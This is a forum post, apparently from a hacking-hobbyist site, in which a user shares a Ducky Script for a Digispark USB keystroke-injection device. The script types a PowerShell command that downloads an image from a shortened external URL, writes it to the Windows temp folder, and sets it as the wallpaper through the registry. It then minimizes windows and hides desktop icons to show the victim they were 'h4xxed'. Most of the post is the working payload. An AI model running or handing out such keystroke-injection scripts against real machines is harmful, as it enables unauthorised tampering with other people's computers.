Jump to content

My first Ducky Script


Recommended Posts

I don't (yet) own a Rubber Ducky, but i just got a Digispark in the mail and decided to play hackerman a little, my first script is basically a copy of a powershell command i've seen on Hak5 some time ago, it changes the wallpaper, then minimizes everything and hides the desktop icons to proudly show that you've been h4xxed.

Note: It will probably lot work with a US win, it's made with a PT installation in mind. 

GUI r
DELAY 250
STRING cmd /C "start /MIN powershell iwr -Uri http://tinyurl.com/y3ncs96x -OutFile c:\windows\temp\b.jpg;sp 'HKCU:Control Panel\Desktop' WallPaper 'c:\windows\temp\b.jpg';$a=1;do{RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 1}while($a++-le59)"
DELAY 250
ENTER
DELAY 1000
GUI d
DELAY 250
SHIFT F10
DELAY 100
STRING v
DELAY 100
STRING o

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...